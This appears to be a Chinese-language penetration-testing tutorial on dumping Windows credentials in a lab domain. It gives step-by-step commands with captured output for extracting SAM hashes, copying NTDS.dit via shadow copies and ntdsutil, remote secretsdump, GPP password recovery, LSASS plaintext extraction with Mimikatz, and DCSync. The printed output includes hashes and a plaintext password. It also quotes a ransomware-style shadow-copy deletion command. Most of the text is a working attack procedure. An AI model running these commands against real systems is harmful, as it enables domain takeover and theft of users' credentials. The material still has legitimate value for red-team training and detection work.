

---

## Credential Dumping

凭据的 Dump，主要是说明了几种在主机中获取凭据 HASH 的方式，介绍了 SAM 和 NTDS、LSA、GPP 等的凭据获取方式。

### SAM(Security Accounts Manager)

SAM 包含主机的本地账户的 HASH 值（每一台主机中都存在一个 SAM），利用工具：

**pwdumpx.exe**

下载了 pwdump7，直接执行 exe 文件即可

```
C:\Users\Administrator\Desktop\SAM\pwdump7>PwDump7.exe
PwDump v7.1 - raw password extractor
Author: Andres Tarasco Acuna
url: http://www.514.es

Administrator:500:NO PASSWORD*****:4CB55EA6471D29CCBB2CE4CF00271FE3:::
Guest:501:NO PASSWORD*****:NO PASSWORD*****:::

C:\Users\Administrator\Desktop\SAM\pwdump7>^A_
```

**gsecdump**

gsecdump -a 查看 SAM

**Mimikatz**

privilege::debug（需要管理员权限）

token::elevate

lsadump::sam

```
mimikatz # lsadump::sam
Domain : DC
SysKey : 2d9bcf13479cffdb1a6f6f56f079d83a
Local SID : S-1-5-21-3331659905-3235885567-3577999700

SAMKey : 7b00bc131f342a622033d8df497af9de

RID : 000001f4 (500)
User : Administrator
Hash NTLM: 4cb55ea6471d29ccb2ce4cf00271fe3

RID : 000001f5 (501)
User : Guest

mimikatz # exit
Bye!
```

**Invoke-PowerDump.ps1**

Import-module Invoke-PowerDump.ps1

Invoke-PowerDump

```

PS C:\Users\Administrator> Invoke-PowerDump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:4cb55ea6471d29ccb2ce4cf00271fe3:::

Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

PS C:\Users\Administrator> ^A_

```

## Reg 从注册表中提取 SAM

命令行执行:

```
reg save HKLM\sam c:\sam
```

```
reg save HKLM\system c:\system
```

这种方式提取的文件是乱码, 明文需要通过 samdump2 或者 mimikatz 再提

```

C:\Users\Administrator\Desktop>cd ..

C:\Users\Administrator>reg save HKLM\sam c:\sam
文件 c:\sam 已经存在。要覆盖吗(Yes/No)?yes
操作成功完成。

C:\Users\Administrator>reg save HKLM\system system
操作成功完成。

C:\Users\Administrator>reg save HKLM\system c:\system
操作成功完成。

C:\Users\Administrator>

```

名称	日期/时间	类型	大小
sam	2019/4/17 11:09	文件	28 K
system	2019/4/17 11:13	文件	10,704 K

```

mimikatz # lsadump::sam /sam:sam /system:system
Domain : DC
SysKey : 2d9bcf13479cffdb1a6f6f56f079d83a
Local SID : S-1-5-21-3331659905-3235885567-3577999700

SAMKey : 7b00bc131f342a622033d8df497af9de

RID : 000001f4 (500)
User : Administrator
Hash NTLM: 4cb55ea6471d29ccb2ce4cf00271fe3

RID : 000001f5 (501)
User : Guest

mimikatz # exit
Bye!

```

## Local Security Authority (LSA)

本地安全机构 (LSA) 是受 Microsoft Windows 保护的子系统, 它是 Windows 客户端身份验证体系结构的一部分, 该体系结构对本地计算机进行身份验证并创建登录会话。

LSA 是一个认证机制

## NTDS

NTDS 不同于 SAM，SAM 保存本地，NTDS 保存在域控，保存了域内所有的 HASH

### 卷影复制

卷影副本也称为快照，是存储在 Data Protection Manager (DPM) 服务器上的副本的时间点副本。副本是文件服务器上单个卷的受保护共享、文件夹和文件的完整时间点副本。

（勒索软件通常会删除卷影副本：C:\Windows\Sysnative\vssadmin.exe"Delete Shadows /All /Quiet）

```
C:\Users\Administrator\Desktop\SAM\mimikatz_trunk\x64>vssadmin create shadow /for=C:
vssadmin 1.1 - 卷影复制服务管理命令行工具
(C>) 版权所有 2001-2005 Microsoft Corp.

成功地创建了 'C:\' 的卷影副本
卷影副本 ID: {f8d51ffe-f961-4daa-9dc4-912d2083151f}
卷影副本卷名: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1

C:\Users\Administrator\Desktop\SAM\mimikatz_trunk\x64>dir \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1
文件名、目录名或卷标语法不正确。

C:\Users\Administrator\Desktop\SAM\mimikatz_trunk\x64>dir \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\ntds\ntds.dit
文件名、目录名或卷标语法不正确。

C:\Users\Administrator\Desktop\SAM\mimikatz_trunk\x64>copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\ntds\ntds.dit c:\
已复制      1 个文件。

C:\Users\Administrator\Desktop\SAM\mimikatz_trunk\x64>_
```

### secretsdump.py

secretsdump.py 在这里的作用是从已经导出的 ntds.dit 文件中导出明文。Mimikatz 也可以达到相同的效果

python secretsdump.py -ntds /demo/ntds/ntds.dit -system /demo/ntds/SYSTEM LOCAL

```
rootkali:/opt/impacket/examples# python2 secretsdump.py -ntds /demo/ntds/ntds.dit -system /demo/ntds/SYSTEM LOCAL
Impacket v0.9.19-dev - Copyright 2019 SecureAuth Corporation

[*] Target system bootKey: 0xe826fa270e28bb2bb2dc600a581ccd
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Searching for pekList, be patient
[*] PEK # 0 found and decrypted: 3d1108acd6a84e08b1646cbfa37c2df6
[*] Reading and decrypting hashes from /demo/ntds/ntds.dit
Administrator:500:aad3b435b51404eeaad3b435b51404ee:8f909fdb472d0b85cddb3e36669a9b07:::
:
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DC$:1000:aad3b435b51404eeaad3b435b51404ee:fdbd0e88fd95f443c4eb6ff3c1320b64:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:60f8e5171d67fb3da7e23d81a57509e1:::
S3$:1103:aad3b435b51404eeaad3b435b51404ee:d0ec7ee5ed574696e5054364a79215d3:::
```

同时 secretsdump.py 也可以直接远程提取 NTDS 中的 HASH 值，使用过程中会提示输入账号的密码

```

root@kali:/opt/impacket/examples# python2 secretsdump.py yunying/administrator@192.168.144.172 -just-dc
Impacket v0.9.19-dev - Copyright 2019 SecureAuth Corporation

Password:
[*] Dumping Domain Credentials (domain\uuid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:4cb55ea6471d29ccbb2ce4cf00271fe3:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:80301de99ad5015f7b8b7b7040d6fe87:::

```

## ntdsutil.exe

可以直接通过 ntdsutil 命令在域控中导出 ntds.dit 文件

ntdsutil "ac i ntds" "ifm" "create full c:temp" q q

```

C:\Users\Administrator>ntdsutil "ac i ntds" "ifm" "create full c:temp" q q
ntdsutil: ac i ntds
Active instance set to "ntds".
ntdsutil: ifm
ifm: create full c:temp
Creating snapshot...
Snapshot set {b021315d-3383-4a00-a095-11162410b759} generated successfully.
Snapshot {98040a4f-fbfa-4fdd-8698-cb7329269239} mounted as C:\$SNAP_201904241835_
_VOLUMEEC$\
Snapshot {98040a4f-fbfa-4fdd-8698-cb7329269239} is already mounted.
Initiating DEFRAGMENTATION mode...
Source Database: C:\$SNAP_201904241835_VOLUMEEC$\Windows\NTDS\ntds.dit
Target Database: C:\Users\Administrator\temp\Active Directory\ntds.dit

Defragmentation Status (% complete)

0    10    20    30    40    50    60    70    80    90    100
|----|----|----|----|----|----|----|----|----|----|
.....

Copying registry files...
Copying C:\Users\Administrator\temp\registry\SYSTEM
Copying C:\Users\Administrator\temp\registry\SECURITY
Snapshot {98040a4f-fbfa-4fdd-8698-cb7329269239} unmounted.
IFM media created successfully in C:\Users\Administrator\temp
ifm: q
ntdsutil: q
C:\Users\Administrator>_

```

## Invoke-NinjaCopy.ps1

使用命令

Import-Module .\invoke-ninjacopy.ps1

Invoke-NinjaCopy -Path C:\Windows\System32\config\SAM -LocalDestination .\sam.hive

Invoke-NinjaCopy -Path C:\Windows\System32\config\SYSTEM -LocalDestination .\system.hive

导出的同样需要通过工具导出为明文。

## Group Policy Preference (GPP) Files

组策略选项，也就是域控中的默认组策略配置文件，我的环境是没有的，这里使用的图是一个脚本中的例子

查看帮助：Get-Help Get-GPPPassword -Examples

使用方法比较简单：

PS C:\>Import-Module Get-GPPPassword.ps1\

PS C:\>Get-GPPPassword

```

PS C:\>Get-GPPPassword

NewName      : [BLANK]
Changed      : {2014-02-21 05:28:53}
Passwords    : {password12}
UserNames    : {test1}
File         : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\DataSources.xml

NewName      : {mspresenters}
Changed      : {2013-07-02 05:43:21, 2014-02-21 03:33:07, 2014-02-21 03:33:48}
Passwords    : {Recycling*3ftwl, password123, password1234}
UserNames    : {Administrator (built-in), DummyAccount, dummy2}
File         : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\Groups.xml

NewName      : [BLANK]
Changed      : {2014-02-21 05:29:53, 2014-02-21 05:29:52}
Passwords    : {password, password1234$}
UserNames    : {administrator, admin}
File         : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\ScheduledTasks\ScheduledTasks.xml

NewName      : [BLANK]
Changed      : {2014-02-21 05:30:14, 2014-02-21 05:30:36}
Passwords    : {password, read123}
UserNames    : {DEMO\Administrator, admin}
File         : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Services\Services.xml

```

## 明文证书

用户登录系统后，会生成各种凭据并将其存储在内存中的本地安全机构子系统服务（LSASS）进程中。这些凭证可以由管理用户或 SYSTEM 收集。

这里使用 mimikatz 演示，前提是需要有管理员权限

Privilege::debug

Sekurlsa::logonPasswords

```

PS C:\Users\tsvc\Desktop\mimikatz_trunk\x64> .\mimikatz.exe

#####  mimikatz 2.1.1 (x64) built on Aug 20 2018 01:54:02
.## ^ ##.  "A La Vie, A L'Amour" - (oe.eo) ** Kitten Edition **
## \ / ##  *** Benjamin DELPY 'gentilkiwi' < benjamin@gentilkiwi.com >
## \ / ##    > http://blog.gentilkiwi.com/mimikatz
'## v ##'   Vincent LE TOUX             < vincent.letoux@gmail.com >
#####    > http://pingcastle.com / http://mysmartlogon.com   ***

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # sekurlsa::logonPasswords

Authentication Id : 0 ; 2336356 <00000000:0023a664>
Session           : Service from 0
User Name         : DefaultAppPool
Domain            : IIS APPPOOL
Logon Server      : <null>
Logon Time        : 2019/4/22 21:16:32
SID               : S-1-5-82-3006700770-424185619-1745488364-794895919-4004696415

msv :
[00000003] Primary
* Username : S2$
* Domain   : VUNVING
* NTLM     : a81d2273e0f8317f9be0c7a5fcb7f3c3
* SHA1     : 6fe39648f483d0d8d8731ed135dfe62be96ffa04

```

```

minikatz # sekurlsa::logonPasswords

Authentication Id : 0 ; 2336356 <00000000:0023a664>
Session          : Service from 0
User Name        : DefaultAppPool
Domain           : IIS APPPOOL
Logon Server     : <null>
Logon Time       : 2019/4/22 21:16:32
SID              : S-1-5-82-3006700770-424185619-1745488364-794895919-4004696415

msv :
[00000003] Primary
* Username      : S2$
* Domain        : YUNYING
* NTLM          : a81d2273e0f8317f9be0c7a5feb7f3c3
* SHA1         : 6fe39648f483d0d8d8731ed135dfe62be96ffa04
tspkg :
* Username      : S2$
* Domain        : YUNYING
* Password      : df 79 aa bb f4 68 cf 1c 44 31 04 36 20 53 cb 50 92 71 57 b8 af 8a c2 bf 49 7a 1f
4c 31 e7 99 a0 67 06 af 28 2e 3c 0b 15 e0 92 77 53 a7 dd 01 38 d3 78 24 6d ba fa 85 75 92 05 7d d5 e8
6c c3 ef cc a0 8e 79 06 0d 93 f3 e1 35 93 ea b0 87 78 92 01 0f 90 b5 0b ab ef 38 fc 7b 6d f5 5b cf 29
83 44 ac 86 fb 41 78 72 fe bd 5e 8f a5 db c8 24 df 07 62 7f c8 1f b5 89 bd d0 27 48 2b ff 7f 39 94 ad
5d 3b b6 d2 bd 20 db b3 4f 3b 19 e3 5e 16 94 be 65 9c 95 c5 3d 61 30 2d 35 ab fa 5e 58 28 67 4e c9 61
20 a2 c7 67 f9 f7 d2 f4 1d d3 3d ea 67 af 2c 1c 5d 26 e8 95 dc 80 2e f1 20 f0 d3 9b 38 97 3f cd fa 3d
14 86 b7 7d d7 8e 15
wdigest :
* Username      : S2$
* Domain        : YUNYING
* Password      : df 79 aa bb f4 68 cf 1c 44 31 04 36 20 53 cb 50 92 71 57 b8 af 8a c2 bf 49 7a 1f
4c 31 e7 99 a0 67 06 af 28 2e 3c 0b 15 e0 92 77 53 a7 dd 01 38 d3 78 24 6d ba fa 85 75 92 05 7d d5 e8
6c c3 ef cc a0 8e 79 06 0d 93 f3 e1 35 93 ea b0 87 78 92 01 0f 90 b5 0b ab ef 38 fc 7b 6d f5 5b cf 29
83 44 ac 86 fb 41 78 72 fe bd 5e 8f a5 db c8 24 df 07 62 7f c8 1f b5 89 bd d0 27 48 2b ff 7f 39 94 ad
5d 3b b6 d2 bd 20 db b3 4f 3b 19 e3 5e 16 94 be 65 9c 95 c5 3d 61 30 2d 35 ab fa 5e 58 28 67 4e c9 61
20 a2 c7 67 f9 f7 d2 f4 1d d3 3d ea 67 af 2c 1c 5d 26 e8 95 dc 80 2e f1 20 f0 d3 9b 38 97 3f cd fa 3d
14 86 b7 7d d7 8e 15
kerberos :
* Username      : S2$
* Domain        : yunying.lab
* Password      : df 79 aa bb f4 68 cf 1c 44 31 04 36 20 53 cb 50 92 71 57 b8 af 8a c2 bf 49 7a 1f
4c 31 e7 99 a0 67 06 af 28 2e 3c 0b 15 e0 92 77 53 a7 dd 01 38 d3 78 24 6d ba fa 85 75 92 05 7d d5 e8
6c c3 ef cc a0 8e 79 06 0d 93 f3 e1 35 93 ea b0 87 78 92 01 0f 90 b5 0b ab ef 38 fc 7b 6d f5 5b cf 29
83 44 ac 86 fb 41 78 72 fe bd 5e 8f a5 db c8 24 df 07 62 7f c8 1f b5 89 bd d0 27 48 2b ff 7f 39 94 ad
5d 3b b6 d2 bd 20 db b3 4f 3b 19 e3 5e 16 94 be 65 9c 95 c5 3d 61 30 2d 35 ab fa 5e 58 28 67 4e c9 61
20 a2 c7 67 f9 f7 d2 f4 1d d3 3d ea 67 af 2c 1c 5d 26 e8 95 dc 80 2e f1 20 f0 d3 9b 38 97 3f cd fa 3d
14 86 b7 7d d7 8e 15
ssp :
credman :

Authentication Id : 0 ; 489108 <00000000:00077694>
Session          : Interactive from 1
User Name        : tsvc
Domain           : YUNYING
Logon Server     : DC
Logon Time       : 2019/2/15 11:13:01
SID              : S-1-5-21-4249968736-1423802980-663233003-1108

msv :
[00000003] Primary
* Username      : tsvc
* Domain        : YUNYING
* LM            : ac804745ee68e8a840bf456bad61e98
* NTLM          : 8bbe95fcb83756d902da7facc2fa6e1
* SHA1         : 002238b3d43ce9f0f6915330d550b5f1a44142d6
tspkg :
* Username      : tsvc
* Domain        : YUNYING
* Password      : admin1234!
wdigest :

```

## DCSync

DCSync 的方式可以通过 mimikatz 来实现，但是需要的权限较高，一般情况下需要有域管理员的权限才能从域控调出 HASH 值，一般情况下是获取了黄金票据之后通过 mimikatz 进行域控中 HASH 值的导出。

Mimikatz # lsadump::dcsync /domain:yunying.lab /user:administrator

```

minikatz # lsadump::dsync /domain:yunying.lab /user:administrator
[DC] 'yunying.lab' will be the domain
[DC] 'dc.yunying.lab' will be the DC server
[DC] 'administrator' will be the user account

Object RDN          : Administrator

** SAM ACCOUNT **

SAM Username        : Administrator
Account Type        : 30000000 < USER_OBJECT >
User Account Control : 00000200 < NORMAL_ACCOUNT >
Account expiration   : 1601/1/1 8:00:00
Password last change : 2019/5/20 20:53:13
Object Security ID   : S-1-5-21-4249968736-1423802980-663233003-500
Object Relative ID   : 500

Credentials:
Hash NTLM: 8bbe95fcb83756d902da7faccd2fa6e1
ntlm- 0: 8bbe95fcb83756d902da7faccd2fa6e1
ntlm- 1: 8f909fdb472d0b85cddb3e36669a9b07
ntlm- 2: 4cb55ea6471d29ccbb2ce4cf00271fe3
lm - 0: 8a60b41a26fdb043cbb43c7bae98aa6c
lm - 1: 83d92271edabb92be733cd40779b626e

Supplemental Credentials:
* Primary:Kerberos-Newer-Keys *
Default Salt : YUNYING.LABAdministrator
Default Iterations : 4096
Credentials
aes256_hmac (4096) : d4d138b6d04887f86f989300e1b901dec343477a4eddab97c454b72be4f1911b
aes128_hmac (4096) : 6772808d44aee5e842e378903692fc05
des_cbc_md5 (4096) : c2f72cc41f2fbc4f
OldCredentials
aes256_hmac (4096) : 426989b9cfe7e8c900a90d0adab36ccd4333d68d6917e12ccfd806a86efe93149
aes128_hmac (4096) : 96da4c54cf85b530d07f9811ee76d0e6
des_cbc_md5 (4096) : f710085b7a8034ae

* Primary:Kerberos *
Default Salt : YUNYING.LABAdministrator
Credentials
des_cbc_md5 : c2f72cc41f2fbc4f
OldCredentials
des_cbc_md5 : f710085b7a8034ae

* Packages *
Kerberos-Newer-Keys

* Primary:WDigest *
01 23755dea633135e38546ca81b10f0e3f
02 cd22994387712b52d195bbfe92ab0fa2
03 3c7a49ef0681bfb0a8976861187204d
04 23755dea633135e38546ca81b10f0e3f
05 9a0074827fa5c1b8ec07cf77fbd7cfe1
06 b8d8073a13ccdde55fde1aeb579811a8
07 16a0b98899356bf2b0894ced68d94e05
08 e6fa217a55d65c8c0132061fc81eee54
09 118d4d13aa410e5722a9a92fcc828d55
10 d6fa875bf6cdee53e08f09d421a4870d
11 967a9f3eb49397edf265ed55b7b2ff36
12 e6fa217a55d65c8c0132061fc81eee54
13 4b061a8f14b8f94eef8d8bb98d68276b
14 a7645f48fed8fd6a0fffb9d49a2299fc
15 ead84e5ce136118e9afb0ba03fe4f08a

```

DCSync 主要通过 DRS 协议（Directory Replication Service (DRS) Remote Protocol），这个协议的主要作用就是在 AD 中复制和管理数据，一般多个域控之间同步域内信息时会使用这个协议。

42	5.550775	192.168.254.130	192.168.254.131	DCERPC	273 Alter_context_resp: call_id: 2, Fragment: Single, max_xmit: 5840 ma
43	5.550961	192.168.254.131	192.168.254.130	DCERPC	274 Alter_context: call_id: 2, Fragment: Single, 1 context items: DRSUA
44	5.551198	192.168.254.130	192.168.254.131	DCERPC	159 Alter_context_resp: call_id: 2, Fragment: Single, max_xmit: 5840 ma
45	5.552549	192.168.254.131	192.168.254.130	DRSUAPI	306 DsBind request
46	5.552873	192.168.254.130	192.168.254.131	DRSUAPI	258 DsBind response
47	5.552979	192.168.254.131	192.168.254.130	DRSUAPI	242 DsGetDomainControllerInfo request
48	5.553786	192.168.254.130	192.168.254.131	DRSUAPI	1090 DsGetDomainControllerInfo response
49	5.554095	192.168.254.131	192.168.254.130	DRSUAPI	274 DsCrackNames request
50	5.554402	192.168.254.130	192.168.254.131	DRSUAPI	338 DsCrackNames response
51	5.554486	192.168.254.131	192.168.254.130	DRSUAPI	258 DsBind request
52	5.554689	192.168.254.130	192.168.254.131	DRSUAPI	258 DsBind response
53	5.554807	192.168.254.131	192.168.254.130	DRSUAPI	498 DsGetNCChanges request
54	5.557673	192.168.254.130	192.168.254.131	TCP	1514 49155 → 49239 [ACK] Seq=2264 Ack=4668 Win=65536 Len=1460 [TCP segme
55	5.557674	192.168.254.130	192.168.254.131	DRSUAPI	1134 DsGetNCChanges response
56	5.557694	192.168.254.131	192.168.254.130	TCP	54 49239 → 49155 [ACK] Seq=4668 Ack=4804 Win=65536 Len=0
57	5.576987	192.168.254.131	192.168.254.130	DRSUAPI	194 DsUnbind request

▷ Frame 46: 258 bytes on wire (2064 bits), 258 bytes captured (2064 bits)  
 ▷ Ethernet II, Src: Vmware\_05:c1:60 (00:0c:29:05:c1:60), Dst: Vmware\_e0:0a:ea (00:0c:29:e0:0a:ea)  
 ▷ Internet Protocol Version 4, Src: 192.168.254.130, Dst: 192.168.254.131  
 ▷ Transmission Control Protocol, Src Port: 49155, Dst Port: 49239, Seq: 536, Ack: 3612, Len: 204  
 ▷ Distributed Computing Environment / Remote Procedure Call (DCE/RPC) Response, Fragment: Single, FragLen: 204, Call: 2, Ctx: 0, [Req: #45]  
 ▷ DRSUAPI, DsBind